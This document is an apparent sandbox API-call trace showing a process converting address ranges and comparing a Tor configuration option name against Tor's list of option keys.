[0115.548] htonl (hostlong=0x0) returned 0x0 [0115.548] htonl (hostlong=0x0) returned 0x0 [0115.548] htonl (hostlong=0x0) returned 0x0 [0115.548] htonl (hostlong=0x0) returned 0x0 [0115.548] htonl (hostlong=0x0) returned 0x0 [0115.548] htonl (hostlong=0x0) returned 0x0 [0115.548] htonl (hostlong=0x0) returned 0x0 [0115.548] htonl (hostlong=0x0) returned 0x0 [0115.548] htonl (hostlong=0x0) returned 0x0 [0115.548] htonl (hostlong=0x0) returned 0x0 [0115.548] htonl (hostlong=0x0) returned 0x0 [0115.548] htonl (hostlong=0x0) returned 0x0 [0115.548] htonl (hostlong=0x0) returned 0x0 [0115.548] htonl (hostlong=0x0) returned 0x0 [0115.548] htonl (hostlong=0x0) returned 0x0 [0115.548] htonl (hostlong=0x0) returned 0x0 [0115.548] htonl (hostlong=0x0) returned 0x0 [0115.548] htonl (hostlong=0x0) returned 0x0 [0115.548] htonl (hostlong=0x0) returned 0x0 [0115.548] htonl (hostlong=0x0) returned 0x0 [0115.548] htonl (hostlong=0x0) returned 0x0 [0115.548] htonl (hostlong=0x0) returned 0x0 [0115.548] htonl (hostlong=0x0) returned 0x0 [0115.548] htonl (hostlong=0x0) returned 0x0 [0115.548] htonl (hostlong=0x0) returned 0x0 [0115.548] htonl (hostlong=0x0) returned 0x0 [0115.548] htonl (hostlong=0x0) returned 0x0 [0115.548] htonl (hostlong=0x0) returned 0x0 [0115.548] htonl (hostlong=0x0) returned 0x0 [0115.548] htonl (hostlong=0x0) returned 0x0 [0115.548] htonl (hostlong=0x0) returned 0x0 [0115.548] htonl (hostlong=0x0) returned 0x0 [0115.548] htonl (hostlong=0x0) returned 0x0 [0115.548] htonl (hostlong=0x0) returned 0x0 [0115.548] htonl (hostlong=0x0) returned 0x0 [0115.548] htonl (hostlong=0x0) returned 0x0 [0115.548] htonl (hostlong=0x0) returned 0x0 [0115.548] htonl (hostlong=0x0) returned 0x0 [0115.548] htonl (hostlong=0x0) returned 0x0 [0115.548] htonl (hostlong=0x0) returned 0x0 [0115.548] htonl (hostlong=0x0) returned 0x0 [0115.548] htonl (hostlong=0x0) returned 0x0 [0115.549] htonl (hostlong=0x0) returned 0x0 [0115.549] htonl (hostlong=0x0) returned 0x0 [0115.549] htonl (hostlong=0x0) returned 0x0 [0115.549] htonl (hostlong=0x0) returned 0x0 [0115.549] htonl (hostlong=0x0) returned 0x0 [0115.549] htonl (hostlong=0x0) returned 0x0 [0115.549] htonl (hostlong=0x0) returned 0x0 [0115.549] htonl (hostlong=0x0) returned 0x0 [0115.549] htonl (hostlong=0x0) returned 0x0 [0115.549] htonl (hostlong=0x0) returned 0x0 [0115.549] htonl (hostlong=0x0) returned 0x0 [0115.549] htonl (hostlong=0x0) returned 0x0 [0115.549] htonl (hostlong=0x0) returned 0x0 [0115.549] htonl (hostlong=0x0) returned 0x0 [0115.549] htonl (hostlong=0x0) returned 0x0 [0115.549] htonl (hostlong=0x0) returned 0x0 [0115.549] htonl (hostlong=0x0) returned 0x0 [0115.549] htonl (hostlong=0x0) returned 0x0 [0115.549] htonl (hostlong=0x0) returned 0x0 [0115.549] htonl (hostlong=0x0) returned 0x0 [0115.549] htonl (hostlong=0x0) returned 0x0 [0115.549] htonl (hostlong=0x0) returned 0x0 [0115.549] htonl (hostlong=0x0) returned 0x0 [0115.549] htonl (hostlong=0x0) returned 0x0 [0115.549] htonl (hostlong=0x0) returned 0x0 [0115.549] htonl (hostlong=0x0) returned 0x0 [0115.549] htonl (hostlong=0x0) returned 0x0 [0115.549] htonl (hostlong=0x0) returned 0x0 [0115.549] htonl (hostlong=0x0) returned 0x0 [0115.549] htonl (hostlong=0x0) returned 0x0 [0115.549] htonl (hostlong=0x0) returned 0x0 [0115.549] htonl (hostlong=0x0) returned 0x0 [0115.549] htonl (hostlong=0x0) returned 0x0 [0115.549] htonl (hostlong=0x0) returned 0x0 [0115.549] htonl (hostlong=0x0) returned 0x0 [0115.549] htonl (hostlong=0x0) returned 0x0 [0115.549] htonl (hostlong=0x0) returned 0x0 [0115.549] htonl (hostlong=0x0) returned 0x0 [0115.549] htonl (hostlong=0x0) returned 0x0 [0115.549] htonl (hostlong=0x0) returned 0x0 [0115.549] htonl (hostlong=0x0) returned 0x0 [0115.549] htonl (hostlong=0x0) returned 0x0 [0115.549] htonl (hostlong=0x0) returned 0x0 [0115.549] htonl (hostlong=0x0) returned 0x0 [0115.549] htonl (hostlong=0x0) returned 0x0 [0115.549] htonl (hostlong=0x0) returned 0x0 [0115.549] htonl (hostlong=0x0) returned 0x0 [0115.549] htonl (hostlong=0x7f) returned 0x7f000000 [0115.549] htonl (hostlong=0x0) returned 0x0 [0115.549] htonl (hostlong=0xa) returned 0xa000000 [0115.549] htonl (hostlong=0x0) returned 0x0 [0115.549] htonl (hostlong=0x0) returned 0x0 [0115.549] htonl (hostlong=0x0) returned 0x0 [0115.549] htonl (hostlong=0x0) returned 0x0 [0115.549] htonl (hostlong=0x0) returned 0x0 [0115.549] htonl (hostlong=0x0) returned 0x0 [0115.549] htonl (hostlong=0x0) returned 0x0 [0115.549] htonl (hostlong=0x0) returned 0x0 [0115.549] htonl (hostlong=0x0) returned 0x0 [0115.549] htonl (hostlong=0x0) returned 0x0 [0115.549] htonl (hostlong=0x0) returned 0x0 [0115.549] htonl (hostlong=0x0) returned 0x0 [0115.549] htonl (hostlong=0x0) returned 0x0 [0115.549] htonl (hostlong=0x0) returned 0x0 [0115.549] htonl (hostlong=0x0) returned 0x0 [0115.549] htonl (hostlong=0x0) returned 0x0 [0115.549] htonl (hostlong=0x0) returned 0x0 [0115.549] htonl (hostlong=0x0) returned 0x0 [0115.549] htonl (hostlong=0x0) returned 0x0 [0115.549] htonl (hostlong=0x0) returned 0x0 [0115.549] htonl (hostlong=0x0) returned 0x0 [0115.549] htonl (hostlong=0x0) returned 0x0 [0115.549] htonl (hostlong=0x0) returned 0x0 [0115.549] htonl (hostlong=0x7f) returned 0x7f000000 [0115.549] htonl (hostlong=0xfea9) returned 0xa9fe0000 [0115.550] htonl (hostlong=0xa8c0) returned 0xc0a80000 [0115.550] htonl (hostlong=0xfea9) returned 0xa9fe0000 [0115.550] htonl (hostlong=0xa) returned 0xa000000 [0115.550] htonl (hostlong=0xfea9) returned 0xa9fe0000 [0115.550] htonl (hostlong=0x10ac) returned 0xac100000 [0115.550] htonl (hostlong=0xfea9) returned 0xa9fe0000 [0115.550] htonl (hostlong=0x0) returned 0x0 [0115.550] htonl (hostlong=0xfea9) returned 0xa9fe0000 [0115.550] htonl (hostlong=0x0) returned 0x0 [0115.550] htonl (hostlong=0xfea9) returned 0xa9fe0000 [0115.550] strlen (_Str="127.192.0.0/10") returned 0xe [0115.550] strcmp (_Str1="127.192.0.0", _Str2="*") returned 1 [0115.550] strcmp (_Str1="127.192.0.0", _Str2="*4") returned 1 [0115.550] strcmp (_Str1="127.192.0.0", _Str2="*6") returned 1 [0115.550] htonl (hostlong=0x7fc00000) returned 0xc07f [0115.550] strtol (in: _Str="10", _EndPtr=0x36f450, _Radix=10 | out: _EndPtr=0x36f450*="") returned 10 [0115.550] strlen (_Str="[FE80::]/10") returned 0xb [0115.550] strcmp (_Str1="FE80::", _Str2="*") returned 1 [0115.550] strcmp (_Str1="FE80::", _Str2="*4") returned 1 [0115.550] strcmp (_Str1="FE80::", _Str2="*6") returned 1 [0115.550] strlen (_Str="FE80::") returned 0x6 [0115.550] strtol (in: _Str="FE80::", _EndPtr=0x36f3b0, _Radix=16 | out: _EndPtr=0x36f3b0*="::") returned 65152 [0115.550] strtol (in: _Str="10", _EndPtr=0x36f450, _Radix=10 | out: _EndPtr=0x36f450*="") returned 10 [0115.550] strlen (_Str="TestingV3AuthInitialVotingInterval") returned 0x22 [0115.550] _strcmpi (_Str1="TestingV3AuthInitialVotingInterval", _Str2="AccountingMax") returned 1 [0115.550] _strcmpi (_Str1="TestingV3AuthInitialVotingInterval", _Str2="AccountingRule") returned 1 [0115.550] _strcmpi (_Str1="TestingV3AuthInitialVotingInterval", _Str2="AccountingStart") returned 1 [0115.550] _strcmpi (_Str1="TestingV3AuthInitialVotingInterval", _Str2="Address") returned 1 [0115.550] _strcmpi (_Str1="TestingV3AuthInitialVotingInterval", _Str2="AllowDotExit") returned 1 [0115.550] _strcmpi (_Str1="TestingV3AuthInitialVotingInterval", _Str2="AllowInvalidNodes") returned 1 [0115.550] _strcmpi (_Str1="TestingV3AuthInitialVotingInterval", _Str2="AllowNonRFC953Hostnames") returned 1 [0115.550] _strcmpi (_Str1="TestingV3AuthInitialVotingInterval", _Str2="AllowSingleHopCircuits") returned 1 [0115.550] _strcmpi (_Str1="TestingV3AuthInitialVotingInterval", _Str2="AllowSingleHopExits") returned 1 [0115.550] _strcmpi (_Str1="TestingV3AuthInitialVotingInterval", _Str2="AlternateBridgeAuthority") returned 1 [0115.550] _strcmpi (_Str1="TestingV3AuthInitialVotingInterval", _Str2="AlternateDirAuthority") returned 1 [0115.550] _strcmpi (_Str1="TestingV3AuthInitialVotingInterval", _Str2="AlternateHSAuthority") returned 1 [0115.550] _strcmpi (_Str1="TestingV3AuthInitialVotingInterval", _Str2="AssumeReachable") returned 1 [0115.550] _strcmpi (_Str1="TestingV3AuthInitialVotingInterval", _Str2="AuthDirBadDir") returned 1 [0115.550] _strcmpi (_Str1="TestingV3AuthInitialVotingInterval", _Str2="AuthDirBadDirCCs") returned 1 [0115.551] _strcmpi (_Str1="TestingV3AuthInitialVotingInterval", _Str2="AuthDirBadExit") returned 1 [0115.551] _strcmpi (_Str1="TestingV3AuthInitialVotingInterval", _Str2="AuthDirBadExitCCs") returned 1 [0115.551] _strcmpi (_Str1="TestingV3AuthInitialVotingInterval", _Str2="AuthDirInvalid") returned 1 [0115.551] _strcmpi (_Str1="TestingV3AuthInitialVotingInterval", _Str2="AuthDirInvalidCCs") returned 1 [0115.551] _strcmpi (_Str1="TestingV3AuthInitialVotingInterval", _Str2="AuthDirFastGuarantee") returned 1 [0115.551] _strcmpi (_Str1="TestingV3AuthInitialVotingInterval", _Str2="AuthDirGuardBWGuarantee") returned 1 [0115.551] _strcmpi (_Str1="TestingV3AuthInitialVotingInterval", _Str2="AuthDirPinKeys") returned 1 [0115.551] _strcmpi (_Str1="TestingV3AuthInitialVotingInterval", _Str2="AuthDirReject") returned 1 [0115.551] _strcmpi (_Str1="TestingV3AuthInitialVotingInterval", _Str2="AuthDirRejectCCs") returned 1 [0115.551] _strcmpi (_Str1="TestingV3AuthInitialVotingInterval", _Str2="AuthDirRejectUnlisted") returned 1 [0115.551] _strcmpi (_Str1="TestingV3AuthInitialVotingInterval", _Str2="AuthDirListBadDirs") returned 1 [0115.551] _strcmpi (_Str1="TestingV3AuthInitialVotingInterval", _Str2="AuthDirListBadExits") returned 1 [0115.551] _strcmpi (_Str1="TestingV3AuthInitialVotingInterval", _Str2="AuthDirMaxServersPerAddr") returned 1 [0115.551] _strcmpi (_Str1="TestingV3AuthInitialVotingInterval", _Str2="AuthDirMaxServersPerAuthAddr") returned 1 [0115.551] _strcmpi (_Str1="TestingV3AuthInitialVotingInterval", _Str2="AuthDirHasIPv6Connectivity") returned 1 [0115.551] _strcmpi (_Str1="TestingV3AuthInitialVotingInterval", _Str2="AuthoritativeDirectory") returned 1 [0115.551] _strcmpi (_Str1="TestingV3AuthInitialVotingInterval", _Str2="AutomapHostsOnResolve") returned 1 [0115.551] _strcmpi (_Str1="TestingV3AuthInitialVotingInterval", _Str2="AutomapHostsSuffixes") returned 1 [0115.551] _strcmpi (_Str1="TestingV3AuthInitialVotingInterval", _Str2="AvoidDiskWrites") returned 1 [0115.551] _strcmpi (_Str1="TestingV3AuthInitialVotingInterval", _Str2="BandwidthBurst") returned 1 [0115.551] _strcmpi (_Str1="TestingV3AuthInitialVotingInterval", _Str2="BandwidthRate") returned 1 [0115.551] _strcmpi (_Str1="TestingV3AuthInitialVotingInterval", _Str2="BridgeAuthoritativeDir") returned 1 [0115.551] _strcmpi (_Str1="TestingV3AuthInitialVotingInterval", _Str2="Bridge") returned 1 [0115.551] _strcmpi (_Str1="TestingV3AuthInitialVotingInterval", _Str2="BridgePassword") returned 1 [0115.551] _strcmpi (_Str1="TestingV3AuthInitialVotingInterval", _Str2="BridgeRecordUsageByCountry") returned 1 [0115.551] _strcmpi (_Str1="TestingV3AuthInitialVotingInterval", _Str2="BridgeRelay") returned 1 [0115.551] _strcmpi (_Str1="TestingV3AuthInitialVotingInterval", _Str2="CellStatistics") returned 1 [0115.551] _strcmpi (_Str1="TestingV3AuthInitialVotingInterval", _Str2="LearnCircuitBuildTimeout") returned 1 [0115.551] _strcmpi (_Str1="TestingV3AuthInitialVotingInterval", _Str2="CircuitBuildTimeout") returned 1 [0115.551] _strcmpi (_Str1="TestingV3AuthInitialVotingInterval", _Str2="CircuitIdleTimeout") returned 1 [0115.551] _strcmpi (_Str1="TestingV3AuthInitialVotingInterval", _Str2="CircuitStreamTimeout") returned 1 [0115.551] _strcmpi (_Str1="TestingV3AuthInitialVotingInterval", _Str2="CircuitPriorityHalflife") returned 1 [0115.551] _strcmpi (_Str1="TestingV3AuthInitialVotingInterval", _Str2="ClientDNSRejectInternalAddresses") returned 1 [0115.551] _strcmpi (_Str1="TestingV3AuthInitialVotingInterval", _Str2="ClientOnly") returned 1 [0115.551] _strcmpi (_Str1="TestingV3AuthInitialVotingInterval", _Str2="ClientPreferIPv6ORPort") returned 1 [0115.551] _strcmpi (_Str1="TestingV3AuthInitialVotingInterval", _Str2="ClientPreferIPv6DirPort") returned 1 [0115.551] _strcmpi (_Str1="TestingV3AuthInitialVotingInterval", _Str2="ClientRejectInternalAddresses") returned 1 [0115.551] _strcmpi (_Str1="TestingV3AuthInitialVotingInterval", _Str2="ClientTransportPlugin") returned 1 [0115.551] _strcmpi (_Str1="TestingV3AuthInitialVotingInterval", _Str2="ClientUseIPv6") returned 1 [0115.551] _strcmpi (_Str1="TestingV3AuthInitialVotingInterval", _Str2="ClientUseIPv4") returned 1 [0115.551] _strcmpi (_Str1="TestingV3AuthInitialVotingInterval", _Str2="ConsensusParams") returned 1 [0115.551] _strcmpi (_Str1="TestingV3AuthInitialVotingInterval", _Str2="ConnLimit") returned 1 [0115.551] _strcmpi (_Str1="TestingV3AuthInitialVotingInterval", _Str2="ConnDirectionStatistics") returned 1 [0115.551] _strcmpi (_Str1="TestingV3AuthInitialVotingInterval", _Str2="ConstrainedSockets") returned 1 [0115.551] _strcmpi (_Str1="TestingV3AuthInitialVotingInterval", _Str2="ConstrainedSockSize") returned 1 [0115.551] _strcmpi (_Str1="TestingV3AuthInitialVotingInterval", _Str2="ContactInfo") returned 1 [0115.551] _strcmpi (_Str1="TestingV3AuthInitialVotingInterval", _Str2="ControlListenAddress") returned 1 [0115.551] _strcmpi (_Str1="TestingV3AuthInitialVotingInterval", _Str2="ControlPort") returned 1 [0115.551] _strcmpi (_Str1="TestingV3AuthInitialVotingInterval", _Str2="ControlPortFileGroupReadable") returned 1 [0115.551] _strcmpi (_Str1="TestingV3AuthInitialVotingInterval", _Str2="ControlPortWriteToFile") returned 1 [0115.551] _strcmpi (_Str1="TestingV3AuthInitialVotingInterval", _Str2="ControlSocket") returned 1 [0115.551] _strcmpi (_Str1="TestingV3AuthInitialVotingInterval", _Str2="ControlSocketsGroupWritable") returned 1 [0115.551] _strcmpi (_Str1="TestingV3AuthInitialVotingInterval", _Str2="SocksSocketsGroupWritable") returned 1 [0115.551] _strcmpi (_Str1="TestingV3AuthInitialVotingInterval", _Str2="CookieAuthentication") returned 1 [0115.551] _strcmpi (_Str1="TestingV3AuthInitialVotingInterval", _Str2="CookieAuthFileGroupReadable") returned 1 [0115.551] _strcmpi (_Str1="TestingV3AuthInitialVotingInterval", _Str2="CookieAuthFile") returned 1 [0115.551] _strcmpi (_Str1="TestingV3AuthInitialVotingInterval", _Str2="CountPrivateBandwidth") returned 1 [0115.551] _strcmpi (_Str1="TestingV3AuthInitialVotingInterval", _Str2="DataDirectory") returned 1 [0115.551] _strcmpi (_Str1="TestingV3AuthInitialVotingInterval", _Str2="DataDirectoryGroupReadable") returned 1 [0115.552] _strcmpi (_Str1="TestingV3AuthInitialVotingInterval", _Str2="DisableNetwork") returned 1 [0115.552] _strcmpi (_Str1="TestingV3AuthInitialVotingInterval", _Str2="DirAllowPrivateAddresses") returned 1 [0115.552] _strcmpi (_Str1="TestingV3AuthInitialVotingInterval", _Str2="TestingAuthDirTimeToLearnReachability") returned 1 [0115.552] _strcmpi (_Str1="TestingV3AuthInitialVotingInterval", _Str2="DirListenAddress") returned 1 [0115.552] _strcmpi (_Str1="TestingV3AuthInitialVotingInterval", _Str2="DirPolicy") returned 1 [0115.552] _strcmpi (_Str1="TestingV3AuthInitialVotingInterval", _Str2="DirPort") returned 1 [0115.552] _strcmpi (_Str1="TestingV3AuthInitialVotingInterval", _Str2="DirPortFrontPage") returned 1 [0115.552] _strcmpi (_Str1="TestingV3AuthInitialVotingInterval", _Str2="DirReqStatistics") returned 1 [0115.552] _strcmpi (_Str1="TestingV3AuthInitialVotingInterval", _Str2="DirAuthority") returned 1 [0115.552] _strcmpi (_Str1="TestingV3AuthInitialVotingInterval", _Str2="DirCache") returned 1 [0115.552] _strcmpi (_Str1="TestingV3AuthInitialVotingInterval", _Str2="DirAuthorityFallbackRate") returned 1 [0115.552] _strcmpi (_Str1="TestingV3AuthInitialVotingInterval", _Str2="DisableAllSwap") returned 1 [0115.552] _strcmpi (_Str1="TestingV3AuthInitialVotingInterval", _Str2="DisableDebuggerAttachment") returned 1 [0115.552] _strcmpi (_Str1="TestingV3AuthInitialVotingInterval", _Str2="DisableIOCP") returned 1 [0115.552] _strcmpi (_Str1="TestingV3AuthInitialVotingInterval", _Str2="DisableV2DirectoryInfo_") returned 1 [0115.552] _strcmpi (_Str1="TestingV3AuthInitialVotingInterval", _Str2="DynamicDHGroups") returned 1 [0115.552] _strcmpi (_Str1="TestingV3AuthInitialVotingInterval", _Str2="DNSPort") returned 1 [0115.552] _strcmpi (_Str1="TestingV3AuthInitialVotingInterval", _Str2="DNSListenAddress") returned 1 [0115.552] _strcmpi (_Str1="TestingV3AuthInitialVotingInterval", _Str2="DownloadExtraInfo") returned 1 [0115.552] _strcmpi (_Str1="TestingV3AuthInitialVotingInterval", _Str2="TestingEnableConnBwEvent") returned 1 [0115.552] _strcmpi (_Str1="TestingV3AuthInitialVotingInterval", _Str2="TestingEnableCellStatsEvent") returned 1 [0115.552] _strcmpi (_Str1="TestingV3AuthInitialVotingInterval", _Str2="TestingEnableTbEmptyEvent") returned 1 [0115.552] _strcmpi (_Str1="TestingV3AuthInitialVotingInterval", _Str2="EnforceDistinctSubnets") returned 1 [0115.552] _strcmpi (_Str1="TestingV3AuthInitialVotingInterval", _Str2="EntryNodes") returned 1 [0115.552] _strcmpi (_Str1="TestingV3AuthInitialVotingInterval", _Str2="EntryStatistics") returned 1 [0115.552] _strcmpi (_Str1="TestingV3AuthInitialVotingInterval", _Str2="TestingEstimatedDescriptorPropagationTime") returned 1 [0115.552] _strcmpi (_Str1="TestingV3AuthInitialVotingInterval", _Str2="ExcludeNodes") returned 1 [0115.552] _strcmpi (_Str1="TestingV3AuthInitialVotingInterval", _Str2="ExcludeExitNodes") returned 1 [0115.552] _strcmpi (_Str1="TestingV3AuthInitialVotingInterval", _Str2="ExcludeSingleHopRelays") returned 1 [0115.552] _strcmpi (_Str1="TestingV3AuthInitialVotingInterval", _Str2="ExitNodes") returned 1 [0115.552] _strcmpi (_Str1="TestingV3AuthInitialVotingInterval", _Str2="ExitPolicy") returned 1 [0115.552] _strcmpi (_Str1="TestingV3AuthInitialVotingInterval", _Str2="ExitPolicyRejectPrivate") returned 1 [0115.552] _strcmpi (_Str1="TestingV3AuthInitialVotingInterval", _Str2="ExitPortStatistics") returned 1 [0115.552] _strcmpi (_Str1="TestingV3AuthInitialVotingInterval", _Str2="ExtendAllowPrivateAddresses") returned 1 [0115.552] _strcmpi (_Str1="TestingV3AuthInitialVotingInterval", _Str2="ExitRelay") returned 1 [0115.552] _strcmpi (_Str1="TestingV3AuthInitialVotingInterval", _Str2="ExtORPort") returned 1 [0115.552] _strcmpi (_Str1="TestingV3AuthInitialVotingInterval", _Str2="ExtORPortCookieAuthFile") returned 1 [0115.552] _strcmpi (_Str1="TestingV3AuthInitialVotingInterval", _Str2="ExtORPortCookieAuthFileGroupReadable") returned 1 [0115.552] _strcmpi (_Str1="TestingV3AuthInitialVotingInterval", _Str2="ExtraInfoStatistics") returned 1 [0115.552] _strcmpi (_Str1="TestingV3AuthInitialVotingInterval", _Str2="FallbackDir") returned 1 [0115.552] _strcmpi (_Str1="TestingV3AuthInitialVotingInterval", _Str2="UseDefaultFallbackDirs") returned -1 [0115.552] _strcmpi (_Str1="TestingV3AuthInitialVotingInterval", _Str2="FallbackNetworkstatusFile") returned 1 [0115.552] _strcmpi (_Str1="TestingV3AuthInitialVotingInterval", _Str2="FascistFirewall") returned 1 [0115.552] _strcmpi (_Str1="TestingV3AuthInitialVotingInterval", _Str2="FirewallPorts") returned 1 [0115.552] _strcmpi (_Str1="TestingV3AuthInitialVotingInterval", _Str2="FastFirstHopPK") returned 1 [0115.552] _strcmpi (_Str1="TestingV3AuthInitialVotingInterval", _Str2="FetchDirInfoEarly") returned 1 [0115.552] _strcmpi (_Str1="TestingV3AuthInitialVotingInterval", _Str2="FetchDirInfoExtraEarly") returned 1 [0115.552] _strcmpi (_Str1="TestingV3AuthInitialVotingInterval", _Str2="FetchServerDescriptors") returned 1 [0115.552] _strcmpi (_Str1="TestingV3AuthInitialVotingInterval", _Str2="FetchHidServDescriptors") returned 1 [0115.552] _strcmpi (_Str1="TestingV3AuthInitialVotingInterval", _Str2="FetchUselessDescriptors") returned 1 [0115.552] _strcmpi (_Str1="TestingV3AuthInitialVotingInterval", _Str2="FetchV2Networkstatus") returned 1 [0115.552] _strcmpi (_Str1="TestingV3AuthInitialVotingInterval", _Str2="GeoIPExcludeUnknown") returned 1 [0115.552] _strcmpi (_Str1="TestingV3AuthInitialVotingInterval", _Str2="GeoIPFile") returned 1 [0115.552] _strcmpi (_Str1="TestingV3AuthInitialVotingInterval", _Str2="GeoIPv6File") returned 1 [0115.552] _strcmpi (_Str1="TestingV3AuthInitialVotingInterval", _Str2="Group") returned 1 [0115.552] _strcmpi (_Str1="TestingV3AuthInitialVotingInterval", _Str2="GuardLifetime") returned 1 [0115.552] _strcmpi (_Str1="TestingV3AuthInitialVotingInterval", _Str2="HardwareAccel") returned 1 [0115.552] _strcmpi (_Str1="TestingV3AuthInitialVotingInterval", _Str2="HeartbeatPeriod") returned 1 [0115.553] _strcmpi (_Str1="TestingV3AuthInitialVotingInterval", _Str2="AccelName") returned 1 [0115.553] _strcmpi (_Str1="TestingV3AuthInitialVotingInterval", _Str2="AccelDir") returned 1 [0115.553] _strcmpi (_Str1="TestingV3AuthInitialVotingInterval", _Str2="HashedControlPassword") returned 1 [0115.553] _strcmpi (_Str1="TestingV3AuthInitialVotingInterval", _Str2="HidServDirectoryV2") returned 1 [0115.553] _strcmpi (_Str1="TestingV3AuthInitialVotingInterval", _Str2="HiddenServiceDir") returned 1 [0115.553] _strcmpi (_Str1="TestingV3AuthInitialVotingInterval", _Str2="HiddenServiceDirGroupReadable") returned 1 [0115.553] _strcmpi (_Str1="TestingV3AuthInitialVotingInterval", _Str2="HiddenServiceOptions") returned 1 [0115.553] _strcmpi (_Str1="TestingV3AuthInitialVotingInterval", _Str2="HiddenServicePort") returned 1 [0115.553] _strcmpi (_Str1="TestingV3AuthInitialVotingInterval", _Str2="HiddenServiceVersion") returned 1 [0115.553] _strcmpi (_Str1="TestingV3AuthInitialVotingInterval", _Str2="HiddenServiceAuthorizeClient") returned 1 [0115.553] _strcmpi (_Str1="TestingV3AuthInitialVotingInterval", _Str2="HiddenServiceAllowUnknownPorts") returned 1 [0115.553] _strcmpi (_Str1="TestingV3AuthInitialVotingInterval", _Str2="HiddenServiceMaxStreams") returned 1 [0115.553] _strcmpi (_Str1="TestingV3AuthInitialVotingInterval", _Str2="HiddenServiceMaxStreamsCloseCircuit") returned 1 [0115.553] _strcmpi (_Str1="TestingV3AuthInitialVotingInterval", _Str2="HiddenServiceNumIntroductionPoints") returned 1 [0115.553] _strcmpi (_Str1="TestingV3AuthInitialVotingInterval", _Str2="HiddenServiceStatistics") returned 1 [0115.553] _strcmpi (_Str1="TestingV3AuthInitialVotingInterval", _Str2="HidServAuth") returned 1 [0115.553] _strcmpi (_Str1="TestingV3AuthInitialVotingInterval", _Str2="CloseHSClientCircuitsImmediatelyOnTimeout") returned 1 [0115.553] _strcmpi (_Str1="TestingV3AuthInitialVotingInterval", _Str2="CloseHSServiceRendCircuitsImmediatelyOnTimeout") returned 1 [0115.553] _strcmpi (_Str1="TestingV3AuthInitialVotingInterval", _Str2="HTTPProxy") returned 1 [0115.553] _strcmpi (_Str1="TestingV3AuthInitialVotingInterval", _Str2="HTTPProxyAuthenticator") returned 1 [0115.553] _strcmpi (_Str1="TestingV3AuthInitialVotingInterval", _Str2="HTTPSProxy") returned 1 [0115.553] _strcmpi (_Str1="TestingV3AuthInitialVotingInterval", _Str2="HTTPSProxyAuthenticator") returned 1 [0115.553] _strcmpi (_Str1="TestingV3AuthInitialVotingInterval", _Str2="IPv6Exit") returned 1 [0115.553] _strcmpi (_Str1="TestingV3AuthInitialVotingInterval", _Str2="ServerTransportPlugin") returned 1 [0115.553] _strcmpi (_Str1="TestingV3AuthInitialVotingInterval", _Str2="ServerTransportListenAddr") returned 1 [0115.553] _strcmpi (_Str1="TestingV3AuthInitialVotingInterval", _Str2="ServerTransportOptions") returned 1 [0115.553] _strcmpi (_Str1="TestingV3AuthInitialVotingInterval", _Str2="SigningKeyLifetime") returned 1 [0115.553] _strcmpi (_Str1="TestingV3AuthInitialVotingInterval", _Str2="Socks4Proxy") returned 1 [0115.553] _strcmpi (_Str1="TestingV3AuthInitialVotingInterval", _Str2="Socks5Proxy") returned 1 [0115.553] _strcmpi (_Str1="TestingV3AuthInitialVotingInterval", _Str2="Socks5ProxyUsername") returned 1 [0115.553] _strcmpi (_Str1="TestingV3AuthInitialVotingInterval", _Str2="Socks5ProxyPassword") returned 1 [0115.553] _strcmpi (_Str1="TestingV3AuthInitialVotingInterval", _Str2="KeepalivePeriod") returned 1 [0115.553] _strcmpi (_Str1="TestingV3AuthInitialVotingInterval", _Str2="KeepBindCapabilities") returned 1 [0115.553] _strcmpi (_Str1="TestingV3AuthInitialVotingInterval", _Str2="Log") returned 1 [0115.553] _strcmpi (_Str1="TestingV3AuthInitialVotingInterval", _Str2="LogMessageDomains") returned 1 [0115.553] _strcmpi (_Str1="TestingV3AuthInitialVotingInterval", _Str2="LogTimeGranularity") returned 1 [0115.553] _strcmpi (_Str1="TestingV3AuthInitialVotingInterval", _Str2="TruncateLogFile") returned -1 [0115.553] _strcmpi (_Str1="TestingV3AuthInitialVotingInterval", _Str2="SyslogIdentityTag") returned 1 [0115.553] _strcmpi (_Str1="TestingV3AuthInitialVotingInterval", _Str2="LongLivedPorts") returned 1 [0115.553] _strcmpi (_Str1="TestingV3AuthInitialVotingInterval", _Str2="MapAddress") returned 1 [0115.553] _strcmpi (_Str1="TestingV3AuthInitialVotingInterval", _Str2="MaxAdvertisedBandwidth") returned 1 [0115.553] _strcmpi (_Str1="TestingV3AuthInitialVotingInterval", _Str2="MaxCircuitDirtiness") returned 1 [0115.553] _strcmpi (_Str1="TestingV3AuthInitialVotingInterval", _Str2="MaxClientCircuitsPending") returned 1 [0115.553] _strcmpi (_Str1="TestingV3AuthInitialVotingInterval", _Str2="MaxMemInQueues") returned 1 [0115.553] _strcmpi (_Str1="TestingV3AuthInitialVotingInterval", _Str2="MaxOnionsPending") returned 1 [0115.553] _strcmpi (_Str1="TestingV3AuthInitialVotingInterval", _Str2="MaxOnionQueueDelay") returned 1 [0115.553] _strcmpi (_Str1="TestingV3AuthInitialVotingInterval", _Str2="MinMeasuredBWsForAuthToIgnoreAdvertised") returned 1 [0115.553] _strcmpi (_Str1="TestingV3AuthInitialVotingInterval", _Str2="MyFamily") returned 1 [0115.553] _strcmpi (_Str1="TestingV3AuthInitialVotingInterval", _Str2="NewCircuitPeriod") returned 1 [0115.553] _strcmpi (_Str1="TestingV3AuthInitialVotingInterval", _Str2="NamingAuthoritativeDirectory") returned 1 [0115.553] _strcmpi (_Str1="TestingV3AuthInitialVotingInterval", _Str2="NATDListenAddress") returned 1 [0115.553] _strcmpi (_Str1="TestingV3AuthInitialVotingInterval", _Str2="NATDPort") returned 1 [0115.553] _strcmpi (_Str1="TestingV3AuthInitialVotingInterval", _Str2="Nickname") returned 1 [0115.553] _strcmpi (_Str1="TestingV3AuthInitialVotingInterval", _Str2="PredictedPortsRelevanceTime") returned 1 [0115.553] _strcmpi (_Str1="TestingV3AuthInitialVotingInterval", _Str2="WarnUnsafeSocks") returned -1 [0115.553] _strcmpi (_Str1="TestingV3AuthInitialVotingInterval", _Str2="NodeFamily") returned 1 [0115.553] _strcmpi (_Str1="TestingV3AuthInitialVotingInterval", _Str2="NumCPUs") returned 1 [0115.553] _strcmpi (_Str1="TestingV3AuthInitialVotingInterval", _Str2="NumDirectoryGuards") returned 1 [0115.553] _strcmpi (_Str1="TestingV3AuthInitialVotingInterval", _Str2="NumEntryGuards") returned 1 [0115.554] _strcmpi (_Str1="TestingV3AuthInitialVotingInterval", _Str2="OfflineMasterKey") returned 1 [0115.554] _strcmpi (_Str1="TestingV3AuthInitialVotingInterval", _Str2="ORListenAddress") returned 1 [0115.554] _strcmpi (_Str1="TestingV3AuthInitialVotingInterval", _Str2="ORPort") 